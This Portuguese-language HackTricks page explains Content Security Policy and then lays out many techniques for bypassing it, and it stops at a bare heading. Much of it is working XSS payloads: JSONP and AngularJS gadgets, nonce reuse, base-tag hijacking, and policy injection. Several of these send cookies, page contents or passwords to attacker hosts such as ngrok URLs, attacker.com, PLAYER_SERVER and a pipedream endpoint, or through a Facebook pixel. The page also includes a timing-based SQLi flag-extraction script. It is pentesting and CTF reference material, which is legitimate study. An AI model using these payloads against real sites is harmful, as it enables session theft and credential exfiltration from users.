Content Security Policy (CSP) Bypass

Support HackTricks

Join HackenProof Discord server to communicate with experienced hackers and bug bounty hunters!

Hacking Insights Engage with content that delves into the thrill and challenges of hacking

Real-Time Hack News Keep up-to-date with fast-paced hacking world through real-time news and insights

Latest Announcements Stay informed with the newest bug bounties launching and crucial platform updates

Join us on Discord and start collaborating with top hackers today!

O que é CSP

Content Security Policy (CSP) é reconhecida como uma tecnologia de navegador, principalmente destinada a proteger contra ataques como cross-site scripting (XSS). Funciona definindo e detalhando caminhos e fontes de onde os recursos podem ser carregados de forma segura pelo navegador. Esses recursos abrangem uma variedade de elementos, como imagens, frames e JavaScript. Por exemplo, uma política pode permitir o carregamento e a execução de recursos do mesmo domínio (self), incluindo recursos inline e a execução de código em string através de funções como eval, setTimeout ou setInterval.

A implementação do CSP é realizada através de cabeçalhos de resposta ou incorporando elementos meta na página HTML. Seguindo essa política, os navegadores aplicam proativamente essas estipulações e bloqueiam imediatamente quaisquer violações detectadas.

  • Implementado via cabeçalho de resposta:

Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com; style-src 'self';
  • Implementado via meta tag:

<meta http-equiv="Content-Security-Policy" content="default-src 'self'; img-src https://*; child-src 'none';">

Headers

CSP pode ser aplicado ou monitorado usando esses cabeçalhos:

  • Content-Security-Policy: Aplica o CSP; o navegador bloqueia quaisquer violações.

  • Content-Security-Policy-Report-Only: Usado para monitoramento; relata violações sem bloqueá-las. Ideal para testes em ambientes de pré-produção.

Definindo Recursos

CSP restringe as origens para carregar tanto conteúdo ativo quanto passivo, controlando aspectos como a execução de JavaScript inline e o uso de eval(). Um exemplo de política é:

default-src 'none';
img-src 'self';
script-src 'self' https://code.jquery.com;
style-src 'self';
report-uri /cspreport
font-src 'self' https://addons.cdn.mozilla.net;
frame-src 'self' https://ic.paypal.com https://paypal.com;
media-src https://videos.cdn.mozilla.net;
object-src 'none';

Directives

  • script-src: Permite fontes específicas para JavaScript, incluindo URLs, scripts inline e scripts acionados por manipuladores de eventos ou folhas de estilo XSLT.

  • default-src: Define uma política padrão para buscar recursos quando diretivas de busca específicas estão ausentes.

  • child-src: Especifica recursos permitidos para trabalhadores da web e conteúdos de quadros incorporados.

  • connect-src: Restringe URLs que podem ser carregadas usando interfaces como fetch, WebSocket, XMLHttpRequest.

  • frame-src: Restringe URLs para quadros.

  • frame-ancestors: Especifica quais fontes podem incorporar a página atual, aplicável a elementos como <frame>, <iframe>, <object>, <embed> e <applet>.

  • img-src: Define fontes permitidas para imagens.

  • font-src: Especifica fontes válidas para fontes carregadas usando @font-face.

  • manifest-src: Define fontes permitidas de arquivos de manifesto de aplicativo.

  • media-src: Define fontes permitidas para carregar objetos de mídia.

  • object-src: Define fontes permitidas para elementos <object>, <embed> e <applet>.

  • base-uri: Especifica URLs permitidas para carregamento usando elementos <base>.

  • form-action: Lista pontos finais válidos para envios de formulários.

  • plugin-types: Restringe tipos mime que uma página pode invocar.

  • upgrade-insecure-requests: Instrui os navegadores a reescrever URLs HTTP para HTTPS.

  • sandbox: Aplica restrições semelhantes ao atributo sandbox de um <iframe>.

  • report-to: Especifica um grupo para o qual um relatório será enviado se a política for violada.

  • worker-src: Especifica fontes válidas para scripts Worker, SharedWorker ou ServiceWorker.

  • prefetch-src: Especifica fontes válidas para recursos que serão buscados ou pré-buscados.

  • navigate-to: Restringe as URLs para as quais um documento pode navegar por qualquer meio (a, formulário, window.location, window.open, etc.)

Sources

  • *: Permite todas as URLs, exceto aquelas com esquemas data:, blob:, filesystem:.

  • 'self': Permite carregamento do mesmo domínio.

  • 'data': Permite que recursos sejam carregados via o esquema de dados (por exemplo, imagens codificadas em Base64).

  • 'none': Bloqueia o carregamento de qualquer fonte.

  • 'unsafe-eval': Permite o uso de eval() e métodos semelhantes, não recomendado por razões de segurança.

  • 'unsafe-hashes': Habilita manipuladores de eventos inline específicos.

  • 'unsafe-inline': Permite o uso de recursos inline como <script> ou <style> inline, não recomendado por razões de segurança.

  • 'nonce': Uma lista branca para scripts inline específicos usando um nonce criptográfico (número usado uma vez).

  • Se você tiver execução de JS limitada, é possível obter um nonce usado dentro da página com doc.defaultView.top.document.querySelector("[nonce]") e então reutilizá-lo para carregar um script malicioso (se strict-dynamic for usado, qualquer fonte permitida pode carregar novas fontes, então isso não é necessário), como em:

Load script reusing nonce
  • 'sha256-<hash>': Lista branca de scripts com um hash sha256 específico.

  • 'strict-dynamic': Permite carregar scripts de qualquer fonte se tiver sido listado por um nonce ou hash.

  • 'host': Especifica um host específico, como example.com.

  • https:: Restringe URLs àquelas que usam HTTPS.

  • blob:: Permite que recursos sejam carregados de URLs Blob (por exemplo, URLs Blob criadas via JavaScript).

  • filesystem:: Permite que recursos sejam carregados do sistema de arquivos.

  • 'report-sample': Inclui uma amostra do código violador no relatório de violação (útil para depuração).

  • 'strict-origin': Semelhante a 'self', mas garante que o nível de segurança do protocolo das fontes corresponda ao documento (apenas origens seguras podem carregar recursos de origens seguras).

  • 'strict-origin-when-cross-origin': Envia URLs completas ao fazer solicitações de mesma origem, mas apenas envia a origem quando a solicitação é de origem cruzada.

  • 'unsafe-allow-redirects': Permite que recursos sejam carregados que redirecionarão imediatamente para outro recurso. Não recomendado, pois enfraquece a segurança.

Regras CSP Inseguras

'unsafe-inline'

Content-Security-Policy: script-src https://google.com 'unsafe-inline';

Payload funcional: "/><script>alert(1);</script>

self + 'unsafe-inline' via Iframes

CSP bypass: self + 'unsafe-inline' with Iframes

'unsafe-eval'

Isso não está funcionando, para mais informações verifique isso.

Content-Security-Policy: script-src https://google.com 'unsafe-eval';

Carga útil funcional:

<script src="data:;base64,YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=="></script>

strict-dynamic

Se você conseguir de alguma forma fazer um código JS permitido criar uma nova tag de script no DOM com seu código JS, porque um script permitido está criando-a, a nova tag de script será permitida para ser executada.

Wildcard (*)

Content-Security-Policy: script-src 'self' https://google.com https: data *;

Carga útil funcional:

"/>'><script src=https://attacker-website.com/evil.js></script>
"/>'><script src=data:text/javascript,alert(1337)></script>

Falta de object-src e default-src

Parece que isso não está mais funcionando

Content-Security-Policy: script-src 'self' ;

Payloads funcionais:

<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>
">'><object type="application/x-shockwave-flash" data='https: //ajax.googleapis.com/ajax/libs/yui/2.8.0 r4/build/charts/assets/charts.swf?allowedDomain=\"})))}catch(e) {alert(1337)}//'>
<param name="AllowScriptAccess" value="always"></object>

Upload de Arquivo + 'self'

Content-Security-Policy: script-src 'self';  object-src 'none' ;

Se você puder fazer upload de um arquivo JS, poderá contornar este CSP:

Carga útil funcional:

"/>'><script src="/uploads/picture.png.js"></script>

No entanto, é altamente provável que o servidor esteja validando o arquivo enviado e só permitirá que você envie determinados tipos de arquivos.

Além disso, mesmo que você conseguisse enviar um código JS dentro de um arquivo usando uma extensão aceita pelo servidor (como: script.png), isso não seria suficiente porque alguns servidores, como o servidor Apache, selecionam o tipo MIME do arquivo com base na extensão e navegadores como o Chrome rejeitarão a execução de código Javascript dentro de algo que deveria ser uma imagem. "Felizmente", existem erros. Por exemplo, em um CTF, aprendi que o Apache não conhece a extensão .wave, portanto, não a serve com um tipo MIME como audio/*.

A partir daqui, se você encontrar um XSS e um upload de arquivo, e conseguir encontrar uma extensão mal interpretada, você poderia tentar enviar um arquivo com essa extensão e o conteúdo do script. Ou, se o servidor estiver verificando o formato correto do arquivo enviado, crie um poliglota (alguns exemplos de poliglota aqui).

Ação do formulário

Se não for possível injetar JS, você ainda poderia tentar exfiltrar, por exemplo, credenciais injetando uma ação de formulário (e talvez esperando que gerenciadores de senhas preencham automaticamente as senhas). Você pode encontrar um exemplo neste relatório. Além disso, observe que default-src não cobre ações de formulário.

Endpoints de Terceiros + ('unsafe-eval')

Para alguns dos seguintes payloads, unsafe-eval não é nem mesmo necessário.

Content-Security-Policy: script-src https://cdnjs.cloudflare.com 'unsafe-eval';

Carregue uma versão vulnerável do angular e execute JS arbitrário:

<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.4.6/angular.js"></script>
<div ng-app> {{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1);//');}} </div>


"><script src="https://cdnjs.cloudflare.com/angular.min.js"></script> <div ng-app ng-csp>{{$eval.constructor('alert(1)')()}}</div>


"><script src="https://cdnjs.cloudflare.com/angularjs/1.1.3/angular.min.js"> </script>
<div ng-app ng-csp id=p ng-click=$event.view.alert(1337)>


With some bypasses from: https://blog.huli.tw/2022/08/29/en/intigriti-0822-xss-author-writeup/
<script/src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js></script>
<iframe/ng-app/ng-csp/srcdoc="
<script/src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.8.0/angular.js>
</script>
<img/ng-app/ng-csp/src/ng-o{{}}n-error=$event.target.ownerDocument.defaultView.alert($event.target.ownerDocument.domain)>"
>

Payloads usando Angular + uma biblioteca com funções que retornam o objeto window (veja este post):

O post mostra que você poderia carregar todas as bibliotecas de cdn.cloudflare.com (ou qualquer outro repositório de bibliotecas JS permitido), executar todas as funções adicionadas de cada biblioteca e verificar quais funções de quais bibliotecas retornam o objeto window.

<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.8/angular.js" /></script>
<div ng-app ng-csp>
{{$on.curry.call().alert(1)}}
{{[].empty.call().alert([].empty.call().document.domain)}}
{{ x = $on.curry.call().eval("fetch('http://localhost/index.php').then(d => {})") }}
</div>


<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js"></script>
<div ng-app ng-csp>
{{$on.curry.call().alert('xss')}}
</div>


<script src="https://cdnjs.cloudflare.com/ajax/libs/mootools/1.6.0/mootools-core.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js"></script>
<div ng-app ng-csp>
{{[].erase.call().alert('xss')}}
</div>

Angular XSS a partir de um nome de classe:

<div ng-app>
<strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
</div>

Abusando do código JS do google recaptcha

De acordo com este writeup de CTF, você pode abusar de https://www.google.com/recaptcha/ dentro de um CSP para executar código JS arbitrário contornando o CSP:

<div
ng-controller="CarouselController as c"
ng-init="c.init()"
>
&#91[c.element.ownerDocument.defaultView.parent.location="http://google.com?"+c.element.ownerDocument.cookie]]
<div carousel><div slides></div></div>

<script src="https://www.google.com/recaptcha/about/js/main.min.js"></script>

Mais payloads deste artigo:

<script src='https://www.google.com/recaptcha/about/js/main.min.js'></script>

<!-- Trigger alert -->
<img src=x ng-on-error='$event.target.ownerDocument.defaultView.alert(1)'>

<!-- Reuse nonce -->
<img src=x ng-on-error='
doc=$event.target.ownerDocument;
a=doc.defaultView.top.document.querySelector("[nonce]");
b=doc.createElement("script");
b.src="//example.com/evil.js";
b.nonce=a.nonce; doc.body.appendChild(b)'>

Abusando www.google.com para redirecionamento aberto

A seguinte URL redireciona para example.com (de aqui):

https://www.google.com/amp/s/example.com/

Abusando *.google.com/script.google.com

É possível abusar do Google Apps Script para receber informações em uma página dentro de script.google.com. Como é feito neste relatório.

Endpoints de Terceiros + JSONP

Content-Security-Policy: script-src 'self' https://www.google.com https://www.youtube.com; object-src 'none';

Cenários como este, onde script-src é definido como self e um domínio específico que está na lista branca pode ser contornado usando JSONP. Os endpoints JSONP permitem métodos de callback inseguros que permitem a um atacante realizar XSS, carga útil em funcionamento:

"><script src="https://www.google.com/complete/search?client=chrome&q=hello&callback=alert#1"></script>
"><script src="/api/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>
https://www.youtube.com/oembed?callback=alert;
<script src="https://www.youtube.com/oembed?url=http://www.youtube.com/watch?v=bDOYN-6gdRE&format=json&callback=fetch(`/profile`).then(function f1(r){return r.text()}).then(function f2(txt){location.href=`https://b520-49-245-33-142.ngrok.io?`+btoa(txt)})"></script>

JSONBee contém endpoints JSONP prontos para usar para contornar o CSP de diferentes sites.

A mesma vulnerabilidade ocorrerá se o endpoint confiável contiver um Redirecionamento Aberto porque, se o endpoint inicial for confiável, os redirecionamentos são confiáveis.

Abusos de Terceiros

Como descrito no seguinte post, existem muitos domínios de terceiros que podem ser permitidos em algum lugar no CSP, que podem ser abusados para exfiltrar dados ou executar código JavaScript. Alguns desses terceiros são:

EntidadeDomínio PermitidoCapacidades

Facebook

www.facebook.com, *.facebook.com

Exfil

Hotjar

*.hotjar.com, ask.hotjar.io

Exfil

Jsdelivr

*.jsdelivr.com, cdn.jsdelivr.net

Exec

Amazon CloudFront

*.cloudfront.net

Exfil, Exec

Amazon AWS

*.amazonaws.com

Exfil, Exec

Azure Websites

*.azurewebsites.net, *.azurestaticapps.net

Exfil, Exec

Salesforce Heroku

*.herokuapp.com

Exfil, Exec

Google Firebase

*.firebaseapp.com

Exfil, Exec

Se você encontrar algum dos domínios permitidos no CSP do seu alvo, há chances de que você possa contornar o CSP registrando-se no serviço de terceiros e, ou exfiltrando dados para esse serviço ou executando código.

Por exemplo, se você encontrar o seguinte CSP:

Content-Security-Policy​: default-src 'self’ www.facebook.com;​

ou

Content-Security-Policy​: connect-src www.facebook.com;​

Você deve ser capaz de exfiltrar dados, da mesma forma que sempre foi feito com Google Analytics/Google Tag Manager. Neste caso, você segue estes passos gerais:

  1. Crie uma conta de desenvolvedor do Facebook aqui.

  2. Crie um novo aplicativo "Facebook Login" e selecione "Website".

  3. Vá para "Configurações -> Básico" e obtenha seu "App ID".

  4. No site alvo do qual você deseja exfiltrar dados, você pode exfiltrar dados usando diretamente o gadget "fbq" do SDK do Facebook através de um "customEvent" e o payload de dados.

  5. Vá para o "Gerenciador de Eventos" do seu aplicativo e selecione o aplicativo que você criou (observe que o gerenciador de eventos pode ser encontrado em uma URL semelhante a esta: https://www.facebook.com/events_manager2/list/pixel/[app-id]/test_events).

  6. Selecione a aba "Test Events" para ver os eventos sendo enviados pelo "seu" site.

Então, do lado da vítima, você executa o seguinte código para inicializar o pixel de rastreamento do Facebook para apontar para o app-id da conta de desenvolvedor do Facebook do atacante e emitir um evento personalizado assim:

fbq('init', '1279785999289471');​ // this number should be the App ID of the attacker's Meta/Facebook account
fbq('trackCustom', 'My-Custom-Event',{​
data: "Leaked user password: '"+document.getElementById('user-password').innerText+"'"​
});

Quanto aos outros sete domínios de terceiros especificados na tabela anterior, existem muitas outras maneiras de abusar deles. Consulte o post do blog mencionado anteriormente para explicações adicionais sobre outros abusos de terceiros.

Bypass via RPO (Relative Path Overwrite)

Além da redireção mencionada para contornar restrições de caminho, existe outra técnica chamada Relative Path Overwrite (RPO) que pode ser usada em alguns servidores.

Por exemplo, se o CSP permitir o caminho https://example.com/scripts/react/, ele pode ser contornado da seguinte forma:

<script src="https://example.com/scripts/react/..%2fangular%2fangular.js"></script>

O navegador, em última análise, carregará https://example.com/scripts/angular/angular.js.

Isso funciona porque, para o navegador, você está carregando um arquivo chamado ..%2fangular%2fangular.js localizado em https://example.com/scripts/react/, que está em conformidade com CSP.

∑, eles o decodificarão, efetivamente solicitando https://example.com/scripts/react/../angular/angular.js, que é equivalente a https://example.com/scripts/angular/angular.js.

Ao explorar essa inconsistência na interpretação de URL entre o navegador e o servidor, as regras de caminho podem ser contornadas.

A solução é não tratar %2f como / no lado do servidor, garantindo uma interpretação consistente entre o navegador e o servidor para evitar esse problema.

Exemplo Online: https://jsbin.com/werevijewa/edit?html,output

Execução de JS em Iframes

Iframes in XSS, CSP and SOP

falta de base-uri

Se a diretiva base-uri estiver ausente, você pode abusar disso para realizar uma injeção de marcação pendente.

Além disso, se a página estiver carregando um script usando um caminho relativo (como <script src="/js/app.js">) usando um Nonce, você pode abusar da tag base para fazer com que ela carregue o script do seu próprio servidor, alcançando um XSS. Se a página vulnerável for carregada com httpS, use uma URL httpS na base.

<base href="https://www.attacker.com/">

Eventos AngularJS

Uma política específica conhecida como Content Security Policy (CSP) pode restringir eventos JavaScript. No entanto, o AngularJS introduz eventos personalizados como uma alternativa. Dentro de um evento, o AngularJS fornece um objeto único $event, que referencia o objeto de evento nativo do navegador. Este objeto $event pode ser explorado para contornar a CSP. Notavelmente, no Chrome, o objeto $event/event possui um atributo path, que contém um array de objetos implicados na cadeia de execução do evento, com o objeto window invariavelmente posicionado no final. Esta estrutura é fundamental para táticas de escape de sandbox.

Ao direcionar este array para o filtro orderBy, é possível iterar sobre ele, aproveitando o elemento terminal (o objeto window) para acionar uma função global como alert(). O trecho de código demonstrado abaixo elucida este processo:

<input%20id=x%20ng-focus=$event.path|orderBy:%27(z=alert)(document.cookie)%27>#x
?search=<input id=x ng-focus=$event.path|orderBy:'(z=alert)(document.cookie)'>#x

Este trecho destaca o uso da diretiva ng-focus para acionar o evento, empregando $event.path|orderBy para manipular o array path, e aproveitando o objeto window para executar a função alert(), revelando assim document.cookie.

Encontre outras contornações do Angular em https://portswigger.net/web-security/cross-site-scripting/cheat-sheet

AngularJS e domínio na lista branca

Content-Security-Policy: script-src 'self' ajax.googleapis.com; object-src 'none' ;report-uri /Report-parsing-url;

Uma política CSP que lista domínios permitidos para carregamento de scripts em uma aplicação Angular JS pode ser contornada através da invocação de funções de callback e certas classes vulneráveis. Mais informações sobre esta técnica podem ser encontradas em um guia detalhado disponível neste repositório git.

Payloads funcionais:

<script src=//ajax.googleapis.com/ajax/services/feed/find?v=1.0%26callback=alert%26context=1337></script>
ng-app"ng-csp ng-click=$event.view.alert(1337)><script src=//ajax.googleapis.com/ajax/libs/angularjs/1.0.8/angular.js></script>

<!-- no longer working -->
<script src="https://www.googleapis.com/customsearch/v1?callback=alert(1)">

Outros endpoints de execução arbitrária JSONP podem ser encontrados aqui (alguns deles foram deletados ou corrigidos)

Bypass via Redirecionamento

O que acontece quando o CSP encontra redirecionamento do lado do servidor? Se o redirecionamento levar a uma origem diferente que não é permitida, ainda falhará.

No entanto, de acordo com a descrição em CSP spec 4.2.2.3. Paths and Redirects, se o redirecionamento levar a um caminho diferente, pode contornar as restrições originais.

Aqui está um exemplo:

<!DOCTYPE html>
<html>
<head>
<meta http-equiv="Content-Security-Policy" content="script-src http://localhost:5555 https://www.google.com/a/b/c/d">
</head>
<body>
<div id=userContent>
<script src="https://https://www.google.com/test"></script>
<script src="https://https://www.google.com/a/test"></script>
<script src="http://localhost:5555/301"></script>
</div>
</body>
</html>

Se o CSP estiver definido como https://www.google.com/a/b/c/d, uma vez que o caminho é considerado, tanto os scripts /test quanto /a/test serão bloqueados pelo CSP.

No entanto, o final http://localhost:5555/301 será redirecionado no lado do servidor para https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(1)//. Como é um redirecionamento, o caminho não é considerado, e o script pode ser carregado, assim contornando a restrição de caminho.

Com esse redirecionamento, mesmo que o caminho seja especificado completamente, ele ainda será contornado.

Portanto, a melhor solução é garantir que o site não tenha vulnerabilidades de redirecionamento aberto e que não haja domínios que possam ser explorados nas regras do CSP.

Contornar CSP com marcação pendente

Leia como aqui.

'unsafe-inline'; img-src *; via XSS

default-src 'self' 'unsafe-inline'; img-src *;

'unsafe-inline' significa que você pode executar qualquer script dentro do código (XSS pode executar código) e img-src * significa que você pode usar na página qualquer imagem de qualquer recurso.

Você pode contornar esse CSP exfiltrando os dados via imagens (nesta ocasião, o XSS abusa de um CSRF onde uma página acessível pelo bot contém um SQLi, e extrai a flag via uma imagem):

<script>fetch('http://x-oracle-v0.nn9ed.ka0labs.org/admin/search/x%27%20union%20select%20flag%20from%20challenge%23').then(_=>_.text()).then(_=>new Image().src='http://PLAYER_SERVER/?'+_)</script>

From: https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle

Você também poderia abusar dessa configuração para carregar código javascript inserido dentro de uma imagem. Se, por exemplo, a página permitir o carregamento de imagens do Twitter. Você poderia criar uma imagem especial, carregá-la no Twitter e abusar do "unsafe-inline" para executar um código JS (como um XSS regular) que irá carregar a imagem, extrair o JS dela e executá-lo: https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/

Com Service Workers

A função importScripts dos service workers não é limitada pelo CSP:

Abusing Service Workers

Injeção de Política

Pesquisa: https://portswigger.net/research/bypassing-csp-with-policy-injection

Chrome

Se um parâmetro enviado por você está sendo colado dentro da declaração da política, então você poderia alterar a política de alguma forma que a torne inútil. Você poderia permitir script 'unsafe-inline' com qualquer um desses bypasses:

script-src-elem *; script-src-attr *
script-src-elem 'unsafe-inline'; script-src-attr 'unsafe-inline'

Porque esta diretiva irá substituir as diretivas script-src existentes. Você pode encontrar um exemplo aqui: http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=%3Bscript-src-elem+*&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E

Edge

No Edge é muito mais simples. Se você puder adicionar no CSP apenas isto: ;_ Edge irá descartar toda a política. Exemplo: http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=;_&y=%3Cscript%3Ealert(1)%3C/script%3E

img-src *; via XSS (iframe) - Ataque de tempo

Note a falta da diretiva 'unsafe-inline' Desta vez você pode fazer a vítima carregar uma página sob seu controle via XSS com um <iframe. Desta vez você vai fazer a vítima acessar a página de onde você quer extrair informações (CSRF). Você não pode acessar o conteúdo da página, mas se de alguma forma você puder controlar o tempo que a página precisa para carregar você pode extrair as informações que precisa.

Desta vez uma flag será extraída, sempre que um caractere for corretamente adivinhado via SQLi a resposta leva mais tempo devido à função sleep. Então, você será capaz de extrair a flag:

<!--code from https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle -->
<iframe name=f id=g></iframe> // The bot will load an URL with the payload
<script>
let host = "http://x-oracle-v1.nn9ed.ka0labs.org";
function gen(x) {
x = escape(x.replace(/_/g, '\\_'));
return `${host}/admin/search/x'union%20select(1)from%20challenge%20where%20flag%20like%20'${x}%25'and%201=sleep(0.1)%23`;
}

function gen2(x) {
x = escape(x);
return `${host}/admin/search/x'union%20select(1)from%20challenge%20where%20flag='${x}'and%201=sleep(0.1)%23`;
}

async function query(word, end=false) {
let h = performance.now();
f.location = (end ? gen2(word) : gen(word));
await new Promise(r => {
g.onload = r;
});
let diff = performance.now() - h;
return diff > 300;
}

let alphabet = '_abcdefghijklmnopqrstuvwxyz0123456789'.split('');
let postfix = '}'

async function run() {
let prefix = 'nn9ed{';
while (true) {
let i = 0;
for (i;i<alphabet.length;i++) {
let c = alphabet[i];
let t =  await query(prefix+c); // Check what chars returns TRUE or FALSE
console.log(prefix, c, t);
if (t) {
console.log('FOUND!')
prefix += c;
break;
}
}
if (i==alphabet.length) {
console.log('missing chars');
break;
}
let t = await query(prefix+'}', true);
if (t) {
prefix += '}';
break;
}
}
new Image().src = 'http://PLAYER_SERVER/?' + prefix; //Exfiltrate the flag
console.log(prefix);
}

run();
</script>

Via Bookmarklets

Este ataque implicaria alguma engenharia social onde o atacante convence o usuário a arrastar e soltar um link sobre o bookmarklet do navegador. Este bookmarklet conteria código javascript malicioso que, ao ser arrastado e solto ou clicado, seria executado no contexto da janela web atual, burlando o CSP e permitindo roubar informações sensíveis como cookies ou tokens.

Para mais informações verifique o relatório original aqui.

Bypass de CSP restringindo o CSP

Em este writeup de CTF, o CSP é burlado ao injetar dentro de um iframe permitido um CSP mais restritivo que não permitia carregar um arquivo JS específico que, então, via poluição de protótipo ou dom clobbering permitiu abusar de um script diferente para carregar um script arbitrário.

Você pode restringir um CSP de um Iframe com o atributo csp:

<iframe src="https://biohazard-web.2023.ctfcompetition.com/view/[bio_id]" csp="script-src https://biohazard-web.2023.ctfcompetition.com/static/closure-library/ https://biohazard-web.2023.ctfcompetition.com/static/sanitizer.js https://biohazard-web.2023.ctfcompetition.com/static/main.js 'unsafe-inline' 'unsafe-eval'"></iframe>

Em este writeup de CTF, foi possível, através de injeção de HTML, restringir mais um CSP, de modo que um script que impedia CSTI foi desativado e, portanto, a vulnerabilidade se tornou explorável. O CSP pode ser tornado mais restritivo usando tags meta HTML e scripts inline podem ser desativados removendo a entrada permitindo seu nonce e habilitando scripts inline específicos via sha:

<meta http-equiv="Content-Security-Policy" content="script-src 'self'
'unsafe-eval' 'strict-dynamic'
'sha256-whKF34SmFOTPK4jfYDy03Ea8zOwJvqmz%2boz%2bCtD7RE4='
'sha256-Tz/iYFTnNe0de6izIdG%2bo6Xitl18uZfQWapSbxHE6Ic=';">

JS exfiltration with Content-Security-Policy-Report-Only

Se você conseguir fazer o servidor responder com o cabeçalho Content-Security-Policy-Report-Only com um valor controlado por você (talvez devido a um CRLF), você poderia direcioná-lo para o seu servidor e se você envolver o conteúdo JS que deseja exfiltrar com <script> e como é altamente provável que unsafe-inline não seja permitido pelo CSP, isso irá gerar um erro de CSP e parte do script (contendo as informações sensíveis) será enviada para o servidor a partir de Content-Security-Policy-Report-Only.

Para um exemplo veja este writeup de CTF.

document.querySelector('DIV').innerHTML="<iframe src='javascript:var s = document.createElement(\"script\");s.src = \"https://pastebin.com/raw/dw5cWGK6\";document.body.appendChild(s);'></iframe>";

Vazando Informações com CSP e Iframe

  • Um iframe é criado que aponta para uma URL (vamos chamá-la de https://example.redirect.com) que é permitida pelo CSP.

  • Esta URL então redireciona para uma URL secreta (por exemplo, https://usersecret.example2.com) que não é permitida pelo CSP.

  • Ao ouvir o evento securitypolicyviolation, é possível capturar a propriedade blockedURI. Esta propriedade revela o domínio da URI bloqueada, vazando o domínio secreto para o qual a URL inicial redirecionou.

É interessante notar que navegadores como Chrome e Firefox têm comportamentos diferentes ao lidar com iframes em relação ao CSP, levando a um potencial vazamento de informações sensíveis devido a comportamentos indefinidos.

Outra técnica envolve explorar o próprio CSP para deduzir o subdomínio secreto. Este método se baseia em um algoritmo de busca binária e na alteração do CSP para incluir domínios específicos que são deliberadamente bloqueados. Por exemplo, se o subdomínio secreto é composto por caracteres desconhecidos, você pode testar iterativamente diferentes subdomínios modificando a diretiva CSP para bloquear ou permitir esses subdomínios. Aqui está um trecho mostrando como o CSP pode ser configurado para facilitar este método:

img-src https://chall.secdriven.dev https://doc-1-3213.secdrivencontent.dev https://doc-2-3213.secdrivencontent.dev ... https://doc-17-3213.secdriven.dev

Ao monitorar quais solicitações são bloqueadas ou permitidas pelo CSP, é possível restringir os possíveis caracteres no subdomínio secreto, eventualmente revelando a URL completa.

Ambos os métodos exploram as nuances da implementação e comportamento do CSP nos navegadores, demonstrando como políticas aparentemente seguras podem inadvertidamente vazar informações sensíveis.

Truque de aqui.

Junte-se ao servidor HackenProof Discord para se comunicar com hackers experientes e caçadores de bugs!

Insights de Hacking Engaje-se com conteúdo que mergulha na emoção e nos desafios do hacking

Notícias de Hack em Tempo Real Mantenha-se atualizado com o mundo do hacking em ritmo acelerado através de notícias e insights em tempo real

Últimos Anúncios Fique informado sobre os novos programas de recompensas por bugs lançando e atualizações cruciais da plataforma

Junte-se a nós no Discord e comece a colaborar com os melhores hackers hoje!

Tecnologias Inseguras para Bypass do CSP

Erros de PHP quando muitos parâmetros

De acordo com a última técnica comentada neste vídeo, enviar muitos parâmetros (1001 parâmetros GET, embora você também possa fazer isso com parâmetros POST e mais de 20 arquivos). Qualquer header() definido no código web PHP não será enviado devido ao erro que isso irá gerar.

Sobrecarga do buffer de resposta do PHP

O PHP é conhecido por bufferizar a resposta em 4096 bytes por padrão. Portanto, se o PHP estiver mostrando um aviso, fornecendo dados suficientes dentro dos avisos, a resposta será enviada antes do cabeçalho CSP, fazendo com que o cabeçalho seja ignorado. Então, a técnica consiste basicamente em preencher o buffer de resposta com avisos para que o cabeçalho CSP não seja enviado.

Ideia de este writeup.

Reescrever Página de Erro

De este writeup, parece que era possível contornar uma proteção CSP carregando uma página de erro (potencialmente sem CSP) e reescrevendo seu conteúdo.

a = window.open('/' + 'x'.repeat(4100));
setTimeout(function() {
a.document.body.innerHTML = `<img src=x onerror="fetch('https://filesharing.m0lec.one/upload/ffffffffffffffffffffffffffffffff').then(x=>x.text()).then(x=>fetch('https://enllwt2ugqrt.x.pipedream.net/'+x))">`;
}, 1000);

SOME + 'self' + wordpress

SOME é uma técnica que abusa de um XSS (ou XSS altamente limitado) em um endpoint de uma página para abusar outros endpoints da mesma origem. Isso é feito carregando o endpoint vulnerável a partir de uma página do atacante e, em seguida, atualizando a página do atacante para o endpoint real na mesma origem que você deseja abusar. Dessa forma, o endpoint vulnerável pode usar o objeto opener no payload para acessar o DOM do endpoint real a ser abusado. Para mais informações, consulte:

SOME - Same Origin Method Execution

Além disso, wordpress tem um endpoint JSONP em /wp-json/wp/v2/users/1?_jsonp=data que irá refletir os dados enviados na saída (com a limitação de apenas letras, números e pontos).

Um atacante pode abusar desse endpoint para gerar um ataque SOME contra o WordPress e incorporá-lo dentro de <script src=/wp-json/wp/v2/users/1?_jsonp=some_attack></script> note que esse script será carregado porque é permitido por 'self'. Além disso, e porque o WordPress está instalado, um atacante pode abusar do ataque SOME através do endpoint callback vulnerável que bypassa o CSP para dar mais privilégios a um usuário, instalar um novo plugin... Para mais informações sobre como realizar esse ataque, consulte https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/

Bypasses de Exfiltração CSP

Se houver um CSP rigoroso que não permite que você interaja com servidores externos, há algumas coisas que você sempre pode fazer para exfiltrar as informações.

Localização

Você pode simplesmente atualizar a localização para enviar ao servidor do atacante as informações secretas:

var sessionid = document.cookie.split('=')[1]+".";
document.location = "https://attacker.com/?" + sessionid;

Meta tag

